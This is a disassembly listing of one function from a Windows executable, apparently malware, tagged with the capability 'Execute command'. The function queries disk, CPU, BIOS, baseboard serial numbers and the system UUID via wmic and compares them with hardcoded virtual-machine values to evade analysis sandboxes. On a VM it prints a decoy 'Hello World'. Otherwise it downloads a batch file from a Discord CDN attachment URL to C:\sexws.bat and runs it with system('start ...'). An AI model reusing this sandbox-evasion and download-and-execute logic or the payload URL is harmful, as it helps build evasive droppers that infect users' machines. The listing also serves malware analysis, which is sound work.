Function at 0x1400116cc
Capabilities:
Execute command

Disassembly:
jmp 0x140026fe0
push rbp
push rdi
sub rsp, 0xc98
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x22e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140033040]
xor rax, rbp
mov qword [rbp + 0xc68], rax
lea rcx, [0x14003b0f8]
call fcn.1400119c9
lea rdx, str.Virtual
lea rcx, [rbp + 0x10]
call fcn.14001147e
nop
lea rdx, str.None
lea rcx, [rbp + 0x38]
call fcn.14001147e
nop
lea rdx, str.1111_2222_3333_4444_5555_6666_77
lea rcx, [rbp + 0x60]
call fcn.14001147e
nop
lea rdx, str.11111111_2222_3333_4444_555555555555
lea rcx, [rbp + 0x88]
call fcn.14001147e
nop
lea rdx, str.Disk_Device
lea rcx, [rbp + 0xb0]
call fcn.14001147e
nop
lea rdx, str.8C5B1742_3EFA_950F_717E_C4E68D821EAB
lea rcx, [rbp + 0xd8]
call fcn.14001147e
nop
mov byte [rbp + 0x114], 0
lea rax, [rbp + 0x10]
mov qword [rbp + 0x138], rax
mov rax, qword [rbp + 0x138]
mov qword [rbp + 0x158], rax
mov rax, qword [rbp + 0x138]
add rax, 0xf0
mov qword [rbp + 0x178], rax
jmp 0x1400270d4
mov rax, qword [rbp + 0x158]
add rax, 0x28
mov qword [rbp + 0x158], rax
mov rax, qword [rbp + 0x178]
cmp qword [rbp + 0x158], rax
je 0x140027171
mov rax, qword [rbp + 0x158]
mov qword [rbp + 0x198], rax
lea rdx, str.wmic_diskdrive_get_model__serialnumber
lea rcx, [rbp + 0x798]
call fcn.1400111f9
mov rcx, rax
call fcn.1400111c2
mov rdx, rax
lea rcx, [rbp + 0x7d8]
call fcn.140011aeb
mov qword [rbp + 0xc58], rax
mov rax, qword [rbp + 0xc58]
mov qword [rbp + 0xc60], rax
mov rdx, qword [rbp + 0x198]
mov rcx, qword [rbp + 0xc60]
call fcn.140011ae1
mov byte [rbp + 0x774], al
lea rcx, [rbp + 0x7d8]
call fcn.1400111db
movzx eax, byte [rbp + 0x774]
test eax, eax
je 0x14002716c
mov byte [rbp + 0x114], 1
jmp 0x1400270c2
lea rax, [rbp + 0x10]
mov qword [rbp + 0x1b8], rax
mov rax, qword [rbp + 0x1b8]
mov qword [rbp + 0x1d8], rax
mov rax, qword [rbp + 0x1b8]
add rax, 0xf0
mov qword [rbp + 0x1f8], rax
jmp 0x1400271b2
mov rax, qword [rbp + 0x1d8]
add rax, 0x28
mov qword [rbp + 0x1d8], rax
mov rax, qword [rbp + 0x1f8]
cmp qword [rbp + 0x1d8], rax
je 0x14002724f
mov rax, qword [rbp + 0x1d8]
mov qword [rbp + 0x218], rax
lea rdx, str.wmic_cpu_get_serialnumber
lea rcx, [rbp + 0x838]
call fcn.140011a78
mov rcx, rax
call fcn.140011433
mov rdx, rax
lea rcx, [rbp + 0x878]
call fcn.140011aeb
mov qword [rbp + 0xc58], rax
mov rax, qword [rbp + 0xc58]
mov qword [rbp + 0xc60], rax
mov rdx, qword [rbp + 0x218]
mov rcx, qword [rbp + 0xc60]
call fcn.140011ae1
mov byte [rbp + 0x814], al
lea rcx, [rbp + 0x878]
call fcn.1400111db
movzx eax, byte [rbp + 0x814]
test eax, eax
je 0x14002724a
mov byte [rbp + 0x114], 1
jmp 0x1400271a0
lea rax, [rbp + 0x10]
mov qword [rbp + 0x238], rax
mov rax, qword [rbp + 0x238]
mov qword [rbp + 0x258], rax
mov rax, qword [rbp + 0x238]
add rax, 0xf0
mov qword [rbp + 0x278], rax
jmp 0x140027290
mov rax, qword [rbp + 0x258]
add rax, 0x28
mov qword [rbp + 0x258], rax
mov rax, qword [rbp + 0x278]
cmp qword [rbp + 0x258], rax
je 0x14002732d
mov rax, qword [rbp + 0x258]
mov qword [rbp + 0x298], rax
lea rdx, str.wmic_bios_get_serialnumber
lea rcx, [rbp + 0x8d8]
call fcn.1400113f7
mov rcx, rax
call fcn.1400117df
mov rdx, rax
lea rcx, [rbp + 0x918]
call fcn.140011aeb
mov qword [rbp + 0xc58], rax
mov rax, qword [rbp + 0xc58]
mov qword [rbp + 0xc60], rax
mov rdx, qword [rbp + 0x298]
mov rcx, qword [rbp + 0xc60]
call fcn.140011ae1
mov byte [rbp + 0x8b4], al
lea rcx, [rbp + 0x918]
call fcn.1400111db
movzx eax, byte [rbp + 0x8b4]
test eax, eax
je 0x140027328
mov byte [rbp + 0x114], 1
jmp 0x14002727e
lea rax, [rbp + 0x10]
mov qword [rbp + 0x2b8], rax
mov rax, qword [rbp + 0x2b8]
mov qword [rbp + 0x2d8], rax
mov rax, qword [rbp + 0x2b8]
add rax, 0xf0
mov qword [rbp + 0x2f8], rax
jmp 0x14002736e
mov rax, qword [rbp + 0x2d8]
add rax, 0x28
mov qword [rbp + 0x2d8], rax
mov rax, qword [rbp + 0x2f8]
cmp qword [rbp + 0x2d8], rax
je 0x14002740b
mov rax, qword [rbp + 0x2d8]
mov qword [rbp + 0x318], rax
lea rdx, str.wmic_baseboard_get_serialnumber
lea rcx, [rbp + 0x978]
call fcn.1400117f8
mov rcx, rax
call fcn.140011a73
mov rdx, rax
lea rcx, [rbp + 0x9b8]
call fcn.140011aeb
mov qword [rbp + 0xc58], rax
mov rax, qword [rbp + 0xc58]
mov qword [rbp + 0xc60], rax
mov rdx, qword [rbp + 0x318]
mov rcx, qword [rbp + 0xc60]
call fcn.140011ae1
mov byte [rbp + 0x954], al
lea rcx, [rbp + 0x9b8]
call fcn.1400111db
movzx eax, byte [rbp + 0x954]
test eax, eax
je 0x140027406
mov byte [rbp + 0x114], 1
jmp 0x14002735c
lea rax, [rbp + 0x10]
mov qword [rbp + 0x338], rax
mov rax, qword [rbp + 0x338]
mov qword [rbp + 0x358], rax
mov rax, qword [rbp + 0x338]
add rax, 0xf0
mov qword [rbp + 0x378], rax
jmp 0x14002744c
mov rax, qword [rbp + 0x358]
add rax, 0x28
mov qword [rbp + 0x358], rax
mov rax, qword [rbp + 0x378]
cmp qword [rbp + 0x358], rax
je 0x1400274e9
mov rax, qword [rbp + 0x358]
mov qword [rbp + 0x398], rax
lea rdx, str.wmic_path_win32_computersystemproduct_get_uuid
lea rcx, [rbp + 0xa18]
call fcn.140011587
mov rcx, rax
call fcn.140011221
mov rdx, rax
lea rcx, [rbp + 0xa68]
call fcn.140011aeb
mov qword [rbp + 0xc58], rax
mov rax, qword [rbp + 0xc58]
mov qword [rbp + 0xc60], rax
mov rdx, qword [rbp + 0x398]
mov rcx, qword [rbp + 0xc60]
call fcn.140011ae1
mov byte [rbp + 0x9f4], al
lea rcx, [rbp + 0xa68]
call fcn.1400111db
movzx eax, byte [rbp + 0x9f4]
test eax, eax
je 0x1400274e4
mov byte [rbp + 0x114], 1
jmp 0x14002743a
movzx eax, byte [rbp + 0x114]
test eax, eax
je 0x14002754c
lea rdx, str.Hello_World_
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001112c
lea rdx, [0x14001105a]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rbp + 0xaa4], 0
lea r9, [fcn.1400111db]
mov r8d, 6
mov edx, 0x28
lea rcx, [rbp + 0x10]
call fcn.14001129e
mov eax, dword [rbp + 0xaa4]
jmp 0x14002762e
lea rdx, str.C:_sexws.bat
lea rcx, [rbp + 0xb28]
call fcn.14001196a
mov rcx, rax
call fcn.140011adc
mov rdx, rax
lea rcx, [rbp + 0xae8]
call fcn.14001147e
nop
lea rdx, str.https:__cdn.discordapp.com_attachments_1167440463708557503_1181214577158012958_ssex.bat
lea rcx, [rbp + 0xba0]
call fcn.1400119b0
mov rcx, rax
call fcn.140011ad7
mov rdx, rax
lea rcx, [rbp + 0xb58]
call fcn.14001147e
nop
lea rdx, [rbp + 0xae8]
lea rcx, [rbp + 0xb58]
call fcn.140011ae6
mov byte [rbp + 0xac4], al
lea rcx, [rbp + 0xb58]
call fcn.1400111db
nop
lea rcx, [rbp + 0xae8]
call fcn.1400111db
movzx eax, byte [rbp + 0xac4]
test eax, eax
je 0x140027603
lea rdx, str.start_C:_sexws.bat
lea rcx, [rbp + 0xc18]
call fcn.1400112d5
mov rcx, rax
call fcn.1400110f5
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_system]
mov dword [rbp + 0xc44], 0
lea r9, [fcn.1400111db]
mov r8d, 6
mov edx, 0x28
lea rcx, [rbp + 0x10]
call fcn.14001129e
mov eax, dword [rbp + 0xc44]
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14002d8c0]
call fcn.140011820
mov rax, rdi
mov rcx, qword [rbp + 0xc68]
xor rcx, rbp
call fcn.1400114ec
lea rsp, [rbp + 0xc78]
pop rdi
pop rbp
ret